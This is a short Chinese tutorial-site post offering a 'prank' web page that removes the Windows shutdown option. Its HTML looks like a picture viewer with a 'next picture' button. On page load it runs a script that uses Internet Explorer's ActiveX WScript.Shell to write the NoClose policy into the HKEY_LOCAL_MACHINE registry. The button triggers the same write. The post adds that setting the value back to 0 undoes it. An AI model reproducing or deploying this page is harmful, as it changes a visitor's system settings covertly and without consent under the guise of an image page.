php教程

超轻量级php框架startmvc

JavaScript实现删除电脑的关机键

更新时间:2020-03-11 07:36:21 作者:startmvc
纯属恶作剧(只对IE浏览器有效因为要调用ActiveX)<!--E-mail:shyhero@outlook.comAuthor:dujianing删

纯属恶作剧(只对IE浏览器有效因为要调用ActiveX)


<!--
E-mail:shyhero@outlook.com
Author: dujianing 
删除关机按钮 
-->
<!DOCTYPE html>
<html>
 <head>
 <meta charset="UTF-8"/>
 <title></title>
 <script type="text/javascript" language="javascript"> 
 function disableTaskMgr(flg){ 
 var shell = new ActiveXObject("WScript.Shell"); 
 try{
 shell.RegWrite("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose",
 1,"REG_DWORD") 
 }catch(e){
 throw e; 
 } 
 } 
 </script>
 </head>
 <body onLoad="disableTaskMgr(true)"> 
 <img src="imgs/2.jpg"/>
 <button onclick="disableTaskMgr(true)">下一张
 </button> 
 </body>
</html>

备注:可以恶作剧一下,修改注册表,把值改为0就能还原